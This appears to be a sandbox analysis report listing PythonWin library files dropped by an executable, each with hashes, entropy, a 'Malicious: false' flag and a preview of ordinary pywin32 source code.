DockingBar(window.Wnd):.

C:\recover\pw\Lib\site-packages\pythonwin\pywin\framework\app.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	16191
Entropy (8bit):	4.775924492405953
Encrypted:	false
SSDEEP:	192:JNysLaI4QnYYoprzxlTRgiS/TeiMfwXYU8B8FFDqL6hiScShN+jduWnCSxMJYqIU:JIsLaTZEXYU8B8F9g6htbWnCBYqIG
MD5:	0B58622B03134430703357C9DCFB8143
SHA1:	ED939E49CE7D8D5925DC310F022878E21B4DB873
SHA-256:	844EE703077A5FA0FBBAD7C544AA19F5629E12033BD6A43CE22AE9B9F4E22CFE
SHA-512:	6F556DF3718F3B2ED767361B37B26F4F34FE9BBAD818FB6AD7937A6A1106F2A30CC99CD5F5CC97598EDC35C3FD9BF224204AADFA5062FD6E02818FA3C880843F
Malicious:	false
Preview:	# App.py.# Application stuff..# The application is responsible for managing the main frame window..#.# We also grab the FileOpen command, to invoke our Python editor." The PythonWin application code. Manages most aspects of MDI, etc ".import os.import sys.import traceback..import regutil.import win32api.import win32con.import win32ui.from pywin.mfc import afxres, dialog, window.from pywin.mfc.thread import WinApp..from . import scriptutils..## NOTE: App and AppBuild should NOT be used - instead, you should contruct your.## APP class manually whenever you like (just ensure you leave these 2 params None!).## Whoever wants the generic "Application" should get it via win32iu.GetApp()..# These are "legacy".AppBuilder = None.App = None # default - if used, must end up a CApp derived class....# Helpers that should one day be removed!.def AddIdleHandler(handler):. print(. "app.AddIdleHandler is deprecated - please use win32ui.GetApp().AddIdleHandler() instead.". ). return win3

C:\recover\pw\Lib\site-packages\pythonwin\pywin\framework\bitmap.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	5358
Entropy (8bit):	4.861124149859075
Encrypted:	false
SSDEEP:	96:7Bn36/dTreIfMvipLRmt4plReR6MDfmDimiUmWiu+LmAnffbAWzvEFKTMVKMzkKj:FKBODuDNiPWr+LmAnffbA0vEFhwMvjJJ
MD5:	BE2C603FEF45B247DD96E6941230558C
SHA1:	739CE86445DA92C28DF4E5560AEE418ADF8C0740
SHA-256:	B7B3342709148684D7F7271FDF6BB3933E861F0AC07B1FECAADA56F31E76EEA4
SHA-512:	6A628FAAA0BE90D9161C4F3FB8075EC45BF614B93D2A428285F162E77C8FC2BA0EF07966A226E14113B72E31381D58D6D14D950A4B9D7F51941274D15FC4D4A8
Malicious:	false
Preview:	import os..import win32api.import win32con.import win32ui.from pywin.mfc import docview, window..from . import app..bStretch = 1...class BitmapDocument(docview.Document):. "A bitmap document. Holds the bitmap data itself.".. def __init__(self, template):. docview.Document.__init__(self, template). self.bitmap = None.. def OnNewDocument(self):. # I can not create new bitmaps.. win32ui.MessageBox("Bitmaps can not be created.").. def OnOpenDocument(self, filename):. self.bitmap = win32ui.CreateBitmap(). # init data members. f = open(filename, "rb"). try:. try:. self.bitmap.LoadBitmapFile(f). except IOError:. win32ui.MessageBox("Could not load the bitmap from %s" % filename). return 0. finally:. f.close(). self.size = self.bitmap.GetSize(). return 1.. def DeleteContents(self):. self.bitmap = None...class BitmapView

C:\recover\pw\Lib\site-packages\pythonwin\pywin\framework\cmdline.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	1491
Entropy (8bit):	4.129546707116888
Encrypted:	false
SSDEEP:	24:DNgb2k92Xxx4ducdIF/rkjxtdkhHQ708TKQVYt3oIc5QzEn2GNdyw6h9i:Bgb2k8XxGducdYI1tdgQg8ZVYZJ/n2km
MD5:	42E00F8E2EF55BED99382BFF1B75471A
SHA1:	39876B183894E49930AAE96A9F8588520591EACA
SHA-256:	0D18159CFA599E233E188FFF4C5FC907ED47B372FFCAC1628398F0E88D9E735C
SHA-512:	31BF1E78C025BF5E4BAD323464CFB0937DD6F09772D6BE3D1C1275DB210956A38AB15F29534DFC7C89DDAA0E9A7F13F66DB1D3FC1B1985D0993074B3F7CA90EE
Malicious:	false
Preview:	# cmdline - command line utilities..import string.import sys..import win32ui...def ParseArgs(str):. import string.. ret = []. pos = 0. length = len(str). while pos < length:. try:. while str[pos] in string.whitespace:. pos = pos + 1. except IndexError:. break. if pos >= length:. break. if str[pos] == '"':. pos = pos + 1. try:. endPos = str.index('"', pos) - 1. nextPos = endPos + 2. except ValueError:. endPos = length. nextPos = endPos + 1. else:. endPos = pos. while endPos < length and not str[endPos] in string.whitespace:. endPos = endPos + 1. nextPos = endPos + 1. ret.append(str[pos : endPos + 1].strip()). pos = nextPos. return ret...def FixArgFileName(fileName):. """Convert a filename on the commandline to something useful..

C:\recover\pw\Lib\site-packages\pythonwin\pywin\framework\dbgcommands.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	6831
Entropy (8bit):	4.60734272249847
Encrypted:	false
SSDEEP:	96:NUi+xH5OihJF9QLvIrG5Pl6BFZvg6XK6vd8mLlfRjTlOkZDLy08N8vFph8BZ/Ra0:NUi6vQmMP0tZ18uVlHH8WdL8b/RNXB
MD5:	C3DE464951525D4E0BB7A2432D996229
SHA1:	92F4F10AF324E3ECBEEC45BFEE83DF8A4BAB1C45
SHA-256:	8E92C21D7F8F48EB483FC04F4DA19E1980E88F5E5921CD91515C1978196B01A0
SHA-512:	8858A1B71D92F7A9BBC0389C8DF0A8E195513F24EBC400A9EB6A844172F1D5F34D0A0757ABC012C7F657777AD16A0A0360A53C49127009D90D0AFCAA0ED34D0B
Malicious:	false
Preview:	# Command Handlers for the debugger...# Not in the debugger package, as I always want these interfaces to be.# available, even if the debugger has not yet been (or can not be).# imported.import warnings..import win32ui.from pywin.scintilla.control import CScintillaEditInterface..from . import scriptutils..IdToBarNames = {. win32ui.IDC_DBG_STACK: ("Stack", 0),. win32ui.IDC_DBG_BREAKPOINTS: ("Breakpoints", 0),. win32ui.IDC_DBG_WATCH: ("Watch", 1),.}...class DebuggerCommandHandler:. def HookCommands(self):. commands = (. (self.OnStep, None, win32ui.IDC_DBG_STEP),. (self.OnStepOut, self.OnUpdateOnlyBreak, win32ui.IDC_DBG_STEPOUT),. (self.OnStepOver, None, win32ui.IDC_DBG_STEPOVER),. (self.OnGo, None, win32ui.IDC_DBG_GO),. (self.OnClose, self.OnUpdateClose, win32ui.IDC_DBG_CLOSE),. (self.OnAdd, self.OnUpdateAddBreakpoints, win32ui.IDC_DBG_ADD),. (self.OnClearAll, self.OnUpdateClearAllBreakpoints,

C:\recover\pw\Lib\site-packages\pythonwin\pywin\framework\dlgappcore.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	2044
Entropy (8bit):	4.75480923449918
Encrypted:	false
SSDEEP:	48:KU3pVVNXq5m1V+cm8mI3NqmtXWVh3mGvfhyMHnZZTOFwmLF:KU3pVVBq5+4cm8meqmtXjYfnyFwiF
MD5:	6A8C0BE282B0AEF1D76249DEABA9E980
SHA1:	864871CD5148A5D9BACAD2B45A3B0029AE4B3C66
SHA-256:	EE80DB72D088EF8E32B63E5284DEE6ABD7C142CDD2C6872B0B517A58672B6D7F
SHA-512:	1BFA636D9875F25A74A08396D5438E1448124DD6AFC49C120A76947836784E36BFA52B11FDDE515CCF0143158DB53C06C8D571FF8077153D21819981DFBF2890
Malicious:	false
Preview:	# dlgappcore..#.# base classes for dialog based apps....import win32api.import win32con.import win32ui.from pywin.mfc import dialog..from . import app..error = "Dialog Application Error"...class AppDialog(dialog.Dialog):. "The dialog box for the application".. def __init__(self, id, dll=None):. self.iconId = win32ui.IDR_MAINFRAME. dialog.Dialog.__init__(self, id, dll).. def OnInitDialog(self):. return dialog.Dialog.OnInitDialog(self).. # Provide support for a dlg app using an icon. def OnPaint(self):. if not self.IsIconic():. return self._obj_.OnPaint(). self.DefWindowProc(win32con.WM_ICONERASEBKGND, dc.GetHandleOutput(), 0). left, top, right, bottom = self.GetClientRect(). left = (right - win32api.GetSystemMetrics(win32con.SM_CXICON)) >> 1. top = (bottom - win32api.GetSystemMetrics(win32con.SM_CYICON)) >> 1. hIcon = win32ui.GetApp().LoadIcon(self.iconId). self.GetDC().DrawIcon((left, top),

C:\recover\pw\Lib\site-packages\pythonwin\pywin\framework\editor\ModuleBrowser.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	7057
Entropy (8bit):	4.439610719878647
Encrypted:	false
SSDEEP:	96:kF/En0TXzbOA4R/mmLC1Wt1iC1ZqwVZv2xF6cOXJvVS6WgRUScswk2:klEcXzbitmZw/KF6VjS6WRh
MD5:	454C66BD909952ADDBB5A65C57809517
SHA1:	AB58FD5D10B1BDDDF0E7B9F2FE1FF48A054C8771
SHA-256:	D04E3A0D0132A7E26D7AAF3314934ADBF2F9F56E9E29E25D201B5D302F658266
SHA-512:	E291E4C6D94A6959819F02F214A5FBF503BD39E4C1090A432AAD1B2EC865D2BD51633448E03C8421379023E8DF1BD9E16D4257135713AA2B139EE642AF94F35B
Malicious:	false
Preview:	# ModuleBrowser.py - A view that provides a module browser for an editor document..import pyclbr..import afxres.import commctrl.import pywin.framework.scriptutils.import pywin.mfc.docview.import win32api.import win32con.import win32ui.from pywin.tools import browser, hierlist...class HierListCLBRModule(hierlist.HierListItem):. def __init__(self, modName, clbrdata):. self.modName = modName. self.clbrdata = clbrdata.. def GetText(self):. return self.modName.. def GetSubList(self):. ret = []. for item in self.clbrdata.values():. if (. item.__class__ != pyclbr.Class. ): # ie, it is a pyclbr Function instance (only introduced post 1.5.2). ret.append(HierListCLBRFunction(item)). else:. ret.append(HierListCLBRClass(item)). ret.sort(). return ret.. def IsExpandable(self):. return 1...class HierListCLBRItem(hierlist.HierListItem):. def __init__(se

C:\recover\pw\Lib\site-packages\pythonwin\pywin\framework\editor\init.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script text executable Python script, ASCII text executable
Category:	dropped
Size (bytes):	2951
Entropy (8bit):	4.942933313190723
Encrypted:	false
SSDEEP:	48:qBPlAgz+5ZK7c0v/7smwUxn6zDgxFEiJopf3ZAnKqMc:qAgzJ6UNDxO1pf3Z+f
MD5:	AA66EB26B463B110988121965DBCE948
SHA1:	2715FACC6E33390A8AB1D73AC10F42492419EFA7
SHA-256:	64390FDBF80467AB2C7A4E8BC3D3B2D80D6645FA215028D84EB9D518F09BDDEC
SHA-512:	6DE4FD8B77F86CE342D0EB335765BC6D89EF5DA8C335CD2A4065720D80B2E28910A9A04FF57FA26E4AADEF88BE6EB7327611E66394CEDFDB055E7D68AE3041A5
Malicious:	false
Preview:	# __init__ for the Pythonwin editor package..#.# We used to support optional editors - eg, color or non-color..#.# This really isnt necessary with Scintilla, and scintilla.# is getting so deeply embedded that it was too much work...import sys..import win32con.import win32ui..defaultCharacterFormat = (-402653169, 0, 200, 0, 0, 0, 49, "Courier New")..##def GetDefaultEditorModuleName():.##.import pywin.##.# If someone has set pywin.editormodulename, then this is what we use.##.try:.##..prefModule = pywin.editormodulename.##.except AttributeError:.##..prefModule = win32ui.GetProfileVal("Editor","Module", "").##.return prefModule.##.##def WriteDefaultEditorModule(module):.##.try:.##..module = module.__name__.##.except:.##..pass.##.win32ui.WriteProfileVal("Editor", "Module", module)...def LoadDefaultEditor():. pass...##.prefModule = GetDefaultEditorModuleName().##.restorePrefModule = None.##.mod = None.##.if prefModule:.##..try:.##...mod = __import__(prefModule).##..except 'xx':.##...msg

C:\recover\pw\Lib\site-packages\pythonwin\pywin\framework\editor\color\coloreditor.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	25627
Entropy (8bit):	4.755414140494236
Encrypted:	false
SSDEEP:	192:uze5N0VgInPYbtGLTtN3c3qUJF48Wi9FAWsCI0C4USCPuCbiPdeLDmPk8eLbxr8i:3PcP9qWiExI0Kk88bxrmbQ5gLM
MD5:	86D17F783F0F40790F86204C54AD2A71
SHA1:	CCBD0F896C3C68DF0E072E319F61BA1AB853054C
SHA-256:	FDE25DB1142ACF4D218A768A811A0CD4D0B52ECC3A1613E914F0D97E70A2554B
SHA-512:	AFC3E2C8E114B2D999DC35ECD06FBE37A368C6AC0D1E0717A5A7BFA6CA591269770C2184BF170392178C7268F32A038A07DA0408201FC7C7665132E3E06B0711
Malicious:	false
Preview:	# Color Editor originally by Neil Hodgson, but restructured by mh to integrate.# even tighter into Pythonwin...import pywin.scintilla.keycodes.import win32api.import win32con.import win32ui.from pywin.framework.editor import (. GetEditorFontOption,. GetEditorOption,. SetEditorFontOption,. SetEditorOption,. defaultCharacterFormat,.).from pywin.scintilla import bindings..# from pywin.framework.editor import EditorPropertyPage..MSG_CHECK_EXTERNAL_FILE = (. win32con.WM_USER + 1999.) ## WARNING: Duplicated in document.py and editor.py..# Define a few common markers.MARKER_BOOKMARK = 0.MARKER_BREAKPOINT = 1.MARKER_CURRENT = 2..import pywin.scintilla.view.from pywin.debugger import dbgcon.from pywin.framework.editor.document import EditorDocumentBase.from pywin.scintilla import scintillacon # For the marker definitions.from pywin.scintilla.document import CScintillaDocument...class SyntEditDocument(EditorDocumentBase):. "A SyntEdit document.".. def OnDebuggerStateCha

C:\recover\pw\Lib\site-packages\pythonwin\pywin\framework\editor\configui.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	11603
Entropy (8bit):	4.979739602460823
Encrypted:	false
SSDEEP:	192:jAwdGW/vgpdvJPbgwLJVwQ+aIRuUzCBLun:0ePg7LPhUV
MD5:	DAB3D0F83BCAACA8A0CA6A9C5FAAC11F
SHA1:	F4B5CEDC785B353D1666DFBA9C7AA4612694E478
SHA-256:	B43CF949918F7219CE1B58E53E416027E9F62BF1F480C69B1C65DC2C0DEB395F
SHA-512:	84BC325B67659409FF5485DBEBA99212CCF26CBE1C6308A51BB3B04165845D54B276058720236E6DD4DE93F1012AEE60AF49DE760173DD6C98965B3A52F9081D
Malicious:	false
Preview:	import pywin.scintilla.config.import win32api.import win32con.import win32ui.from pywin.framework.editor import (. DeleteEditorOption,. GetEditorFontOption,. GetEditorOption,. SetEditorFontOption,. SetEditorOption,. defaultCharacterFormat,. editorTemplate,.).from pywin.mfc import dialog..from . import document..# The standard 16 color VGA palette should always be possible.paletteVGA = (. ("Black", 0, 0, 0),. ("Navy", 0, 0, 128),. ("Green", 0, 128, 0),. ("Cyan", 0, 128, 128),. ("Maroon", 128, 0, 0),. ("Purple", 128, 0, 128),. ("Olive", 128, 128, 0),. ("Gray", 128, 128, 128),. ("Silver", 192, 192, 192),. ("Blue", 0, 0, 255),. ("Lime", 0, 255, 0),. ("Aqua", 0, 255, 255),. ("Red", 255, 0, 0),. ("Fuchsia", 255, 0, 255),. ("Yellow", 255, 255, 0),. ("White", 255, 255, 255),.)...######################################################.#.# Property Page for editor options.#.class EditorPropertyPage(dialog.PropertyPage):. def

C:\recover\pw\Lib\site-packages\pythonwin\pywin\framework\editor\document.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	14762
Entropy (8bit):	4.505299678067443
Encrypted:	false
SSDEEP:	192:nqyDuI7alox51NGX/BZU0UV8w6a6tvte4H1SAmpo+QfnoPij:nqSelomnzUV8w6FGAoo+wnoKj
MD5:	E6508DD4684EA16A9987E983E189549D
SHA1:	20F8B1427713CEA8DA2FC25B2A76F5CDDC4EEBBF
SHA-256:	6348B90AA016AF071855E7C512E9A631AB0659F91BE3A2D737D6C54B5ABAC680
SHA-512:	EDE0B182E451EB6FC96466A4B4DB1EF12853C207662F2CB6765588AFE3BCE0E5B19FAE9D3E708AA7BD30EC329F46253D12943E55ADF948BA59193DD88EA467EC
Malicious:	false
Preview:	# We no longer support the old, non-colour editor!..import os.import shutil.import traceback..import win32api.import win32con.import win32ui.from pywin.framework.editor import GetEditorOption.from pywin.mfc import docview, object..BAK_NONE = 0.BAK_DOT_BAK = 1.BAK_DOT_BAK_TEMP_DIR = 2.BAK_DOT_BAK_BAK_DIR = 3..MSG_CHECK_EXTERNAL_FILE = (. win32con.WM_USER + 1999.) ## WARNING: Duplicated in editor.py and coloreditor.py..import pywin.scintilla.document..ParentEditorDocument = pywin.scintilla.document.CScintillaDocument...class EditorDocumentBase(ParentEditorDocument):. def __init__(self, template):. self.bAutoReload = GetEditorOption("Auto Reload", 1). self.bDeclinedReload = 0 # Has the user declined to reload.. self.fileStat = None. self.bReportedFileNotFound = 0.. # what sort of bak file should I create.. # default to write to %temp%/bak/filename.ext. self.bakFileType = GetEditorOption("Backup Type", BAK_DOT_BAK_BAK_DIR).. s

C:\recover\pw\Lib\site-packages\pythonwin\pywin\framework\editor\editor.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	18241
Entropy (8bit):	4.679743271147803
Encrypted:	false
SSDEEP:	384:GxM2a7TANZA/jdj7vql7INAU4m27dZ10Ny6pUcovM:r20/jdjk0F4nLc6M
MD5:	E90815BE95E40481C0662A2B431B3B70
SHA1:	9B282536957675F8983DFA15B5C4A8826BA990F5
SHA-256:	916A3ACBC2EB68D868EB759A8F84FA7FAD05FB027F0CB988C8449D77A42B6F15
SHA-512:	50A45101CE6052A210573BD7FE2318FCFDE8B131519684E5F8062F892DE30E38D9B283A222287D645F4F6D667A7C05F81AEB2D5523E0FF07902A9C6E7D3C1C88
Malicious:	false
Preview:	#####################################################################.#.# editor.py.#.# A general purpose text editor, built on top of the win32ui edit.# type, which is built on an MFC CEditView.#.#.# We now support reloading of externally modified documented.# (eg, presumably by some other process, such as source control or.# another editor..# We also suport auto-loading of externally modified files..# - if the current document has not been modified in this.# editor, but has been modified on disk, then the file.# can be automatically reloaded..#.# Note that it will _always_ prompt you if the file in the editor has been modified....import re..import regex.import win32api.import win32con.import win32ui.from pywin.framework.editor import (. GetEditorFontOption,. GetEditorOption,. SetEditorFontOption,. SetEditorOption,. defaultCharacterFormat,.).from pywin.mfc import afxres, dialog, docview..patImport = regex.symcomp("import $<name>.*$").patIndent = regex.compile("^\\([ \

C:\recover\pw\Lib\site-packages\pythonwin\pywin\framework\editor\frame.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	3148
Entropy (8bit):	4.627065154645439
Encrypted:	false
SSDEEP:	48:ttRrHY/x7hqAmfVqVm9Je4ihNnfSns4Kwsh+aNe5SwxVX:1DY3kk5tnfWs4f3z
MD5:	A034E2B9E4870B7FADA5486BA9711DDE
SHA1:	B1B7A761FB80D86965A9E0F2592995369D316646
SHA-256:	961BC3585606E76DDA52639617BF5ABC83B7AF4A5C6829C0149E8DD156DD614A
SHA-512:	FA67A42CAAA4B1C2F8D9AE8C44467A02686959C08E4A4BD7E0E5B3F10E8343F507D0BB4C48F4CF90006CDD61E54D0D172FA3270CED828F9069EA51CF3DCB05B0
Malicious:	false
Preview:	# frame.py - The MDI frame window for an editor..import pywin.framework.window.import win32con.import win32ui..from . import ModuleBrowser...class EditorFrame(pywin.framework.window.MDIChildWnd):. def OnCreateClient(self, cp, context):. # Create the default view as specified by the template (ie, the editor view). view = context.template.MakeView(context.doc). # Create the browser view.. browserView = ModuleBrowser.BrowserView(context.doc). view2 = context.template.MakeView(context.doc).. splitter = win32ui.CreateSplitter(). style = win32con.WS_CHILD \| win32con.WS_VISIBLE. splitter.CreateStatic(self, 1, 2, style, win32ui.AFX_IDW_PANE_FIRST). sub_splitter = self.sub_splitter = win32ui.CreateSplitter(). sub_splitter.CreateStatic(splitter, 2, 1, style, win32ui.AFX_IDW_PANE_FIRST + 1).. # Note we must add the default view first, so that doc.GetFirstView() returns the editor view.. sub_splitter.CreateView(

C:\recover\pw\Lib\site-packages\pythonwin\pywin\framework\editor\template.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	2060
Entropy (8bit):	4.687667955810207
Encrypted:	false
SSDEEP:	48:iLW8jY3Qq49QDK4FZ+l094wHH72NGQBarLSB:iLWHQkKflC4wHb2NjaPSB
MD5:	A98ABD4CDBD03193D44E5F1378AB0565
SHA1:	22B45559E08CABBF13B6145B3D7CE59B5273249E
SHA-256:	BDBBE1B47268C858B5DB33129225966062B1ADBFA7678712A4211BF8CDD7DDF9
SHA-512:	366F6B8138845A620FE342E3535980C8F44A871CD9A5B0DC86F4D828F332D3DA09A3D5215DECEA26D932F31ADF725802A33548134E8CD9FC53E4CAF6AF1AE19E
Malicious:	false
Preview:	import os..import pywin.framework.window.import win32api.import win32ui.from pywin.mfc import docview..from . import frame..ParentEditorTemplate = docview.DocTemplate...class EditorTemplateBase(ParentEditorTemplate):. def __init__(. self, res=win32ui.IDR_TEXTTYPE, makeDoc=None, makeFrame=None, makeView=None. ):. if makeFrame is None:. makeFrame = frame.EditorFrame. ParentEditorTemplate.__init__(self, res, makeDoc, makeFrame, makeView).. def _CreateDocTemplate(self, resourceId):. assert 0, "You must override this".. def CreateWin32uiDocument(self):. assert 0, "You must override this".. def GetFileExtensions(self):. return ".txt", ".py".. def MatchDocType(self, fileName, fileType):. doc = self.FindOpenDocument(fileName). if doc:. return doc. ext = os.path.splitext(fileName)[1].lower(). if ext in self.GetFileExtensions():. return win32ui.CDocTemplate_Confidence_yesAttem

C:\recover\pw\Lib\site-packages\pythonwin\pywin\framework\editor\vss.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	3398
Entropy (8bit):	4.6330455844108895
Encrypted:	false
SSDEEP:	96:ZLZA4QCHAr0bt4uG60UNmgr3E+ZezbPYcKPTGDLftwj8FtC:BZA4QL8t4nwxENQaC
MD5:	F5344413C1F70415897EEC86B0311BF0
SHA1:	D5A0B30A5D65EB96886B24259E81439FF235A0B0
SHA-256:	55FC7A2853787CFCA41A8FB4C8DA3F961844C0E56585BB82DD4DC7F8C9AE425F
SHA-512:	88891CE2D5D12B55ACA5F78BFB69D364733F8FFCDFA7CC17B34A806102431BDD2E1CC2A4B3DAA6D5628112C91A2A4B07CEED8DEEF46F88C621E8EAA7FE38E43F
Malicious:	false
Preview:	# vss.py -- Source Control using Microsoft VSS...# Provides routines for checking files out of VSS..#.# Uses an INI file very similar to how VB integrates with VSS - even.# as far as using the same name...# The file must be named "Mssccprj.scc", and be in the format of.# an INI file. This file may be in a parent directory, in which.# case the project name will be built from what is specified in the.# ini file, plus the path from the INI file to the file itself..#.# The INI file should have a [Python] section, and a.# Project=Project Name.# and optionally.# Database=??...import os.import sys.import traceback..import win32api.import win32ui..g_iniName = "Mssccprj.scc" # Use the same INI name as VB!..g_sourceSafe = None...def FindVssProjectInfo(fullfname):. """Looks up the file system for an INI file describing the project... Looking up the tree is for ni style packages... Returns (projectName, pathToFileName) where pathToFileName contains. the path from the ini file to the

C:\recover\pw\Lib\site-packages\pythonwin\pywin\framework\help.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script text executable Python script, ASCII text executable
Category:	dropped
Size (bytes):	5650
Entropy (8bit):	4.72058456476038
Encrypted:	false
SSDEEP:	96:0OE6xRFsaobwYSJRzaj8N7XyIV7SuU9hyoVE4rMur8m4mM1np9sbexg:0RwYQRucryKWE44CfAp9sbea
MD5:	B12DFEEC2AB8B1758C1567D42C490B7B
SHA1:	DEF28BEE0C8FD8D60FBF0FA24B27232FF7E242C1
SHA-256:	AE8B27C1BE4EC2C6F7031D5C648949A1AD3A97ED2348BDD6D4015B9BF2E5FC78
SHA-512:	65672DE52090E79AE6FAB0637FB438323B2C9B049CBF44FDF69538D736DC92FD30445F9FC809833F1EB265FB85097272D11C48DDA62ADC6526D07E6E9B53DDD6
Malicious:	false
Preview:	# help.py - help utilities for PythonWin..import os..import regutil.import win32api.import win32con.import win32ui..htmlhelp_handle = None..html_help_command_translators = {. win32con.HELP_CONTENTS: 1, # HH_DISPLAY_TOC. win32con.HELP_CONTEXT: 15, # HH_HELP_CONTEXT. win32con.HELP_FINDER: 1, # HH_DISPLAY_TOC.}...def FinalizeHelp():. global htmlhelp_handle. if htmlhelp_handle is not None:. import win32help.. try:. # frame = win32ui.GetMainFrame().GetSafeHwnd(). frame = 0. win32help.HtmlHelp(frame, None, win32help.HH_UNINITIALIZE, htmlhelp_handle). except win32help.error:. print("Failed to finalize htmlhelp!"). htmlhelp_handle = None...def OpenHelpFile(fileName, helpCmd=None, helpArg=None):. "Open a help file, given a full path". # default help arg.. win32ui.DoWaitCursor(1). try:. if helpCmd is None:. helpCmd = win32con.HELP_CONTENTS. ext = os.path.splitext(fileNam

C:\recover\pw\Lib\site-packages\pythonwin\pywin\framework\interact.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	35912
Entropy (8bit):	4.631604153784839
Encrypted:	false
SSDEEP:	384:x5X6GNjA+JE6JetPRGWrxoEAMcveFlGPDb22OzrDCqFq6CiTQ8ZUyI:xgGNjA+W6sbUkQok
MD5:	9CD632F14BE177B77B27EFA15380F89E
SHA1:	8609338B1A19E2991EF6A331051FCC046197FD8A
SHA-256:	7A37B60603FE6C5F541383AF8CC835DF73062B4CE72491E342D566AC3168F031
SHA-512:	230E5F663B955036E627162585D41DD85F80589706B326EE6150029B708D4A2D7C53A518339D146F287062D4AF0489B451F9FCEFE683ACEFF8A829E7DB6642AE
Malicious:	false
Preview:	##################################################################.##.## Interactive Shell Window.##..import array.import code.import os.import string.import sys.import traceback..import __main__.import afxres.import pywin.framework.app.import pywin.scintilla.control.import pywin.scintilla.formatter.import pywin.scintilla.IDLEenvironment.import win32api.import win32clipboard.import win32con.import win32ui..## sequential after ID_GOTO_LINE defined in editor.py.ID_EDIT_COPY_CODE = 0xE2002.ID_EDIT_EXEC_CLIPBOARD = 0x2003..trace = pywin.scintilla.formatter.trace..import re..from . import winout..# from IDLE.._is_block_opener = re.compile(r":\s(#.)?$").search._is_block_closer = re.compile(. r""". \s*. ( return. \| break. \| continue. \| raise. \| pass. ). \b.""",. re.VERBOSE,.).match..tracebackHeader = "Traceback (".encode("ascii")..sectionProfile = "Interactive Window".valueFormatTitle = "FormatTitle".valueFormatInput = "FormatInput".valueFormatOutput = "FormatO

C:\recover\pw\Lib\site-packages\pythonwin\pywin\framework\intpyapp.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	20154
Entropy (8bit):	4.47952669125256
Encrypted:	false
SSDEEP:	384:YQXph3afslMnEYeo3cRofuJ+gbK+E3sCsphc:YQ5hDlMcafuJ+gXCUc
MD5:	494E4047F3A33557E19707AA57A6762D
SHA1:	607C10F0CC8CF0578C3ABDA73154782478249ECF
SHA-256:	A0735F8B7E4A68D0A90034FB3C6ADF4E2DE58E44AC5261736EEB9F2279B496D0
SHA-512:	5923ABA95A148D885E5E5AA13BDA469FB76DCEBCB1E32B581DD40A086DDD80F9CFD86800432C94C0700DE893775D41F3BFD7F0206D5B3E604110AE552D8D9FF6
Malicious:	false
Preview:	# intpyapp.py - Interactive Python application class.#.import os.import sys.import traceback..import __main__.import commctrl.import win32api.import win32con.import win32ui.from pywin.mfc import afxres, dialog..from . import app, dbgcommands..lastLocateFileName = ".py" # used in the "File/Locate" dialog......# todo - _SetupSharedMenu should be moved to a framework class..def _SetupSharedMenu_(self):. sharedMenu = self.GetSharedMenu(). from pywin.framework import toolmenu.. toolmenu.SetToolsMenu(sharedMenu). from pywin.framework import help.. help.SetHelpMenuOtherHelp(sharedMenu)...from pywin.mfc import docview..docview.DocTemplate._SetupSharedMenu_ = _SetupSharedMenu_...class MainFrame(app.MainFrame):. def OnCreate(self, createStruct):. self.closing = 0. if app.MainFrame.OnCreate(self, createStruct) == -1:. return -1. style = (. win32con.WS_CHILD. \| afxres.CBRS_SIZE_DYNAMIC. \| afxres.CBRS_TOP.

C:\recover\pw\Lib\site-packages\pythonwin\pywin\framework\intpydde.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	1564
Entropy (8bit):	4.499942146153649
Encrypted:	false
SSDEEP:	24:ph+YT5jFg2RSOmjhvtmAWyAjw88eimLk08AWyAjkEspeejHG9hBHRtWyA:ph+kFVSOmqeii8k08eBEscW47HLA
MD5:	192776AD66CE552D0274AE61888C7F9A
SHA1:	8F4C51333E175B4F23ACB4D7FA1BFC1AF5D0190F
SHA-256:	70FF4889CF52DB82518A24C5EF8CD7666E26DEB0C05EC5769579EA5634542AF8
SHA-512:	CD74E054097A2A4BDAEA83BB8AF338CA27B95427D623CD423187E0A19E43EDABBCFB805600A2027FD711E161DFF585DBCB41102106BBCE60BFBB58F5DDC29978
Malicious:	false
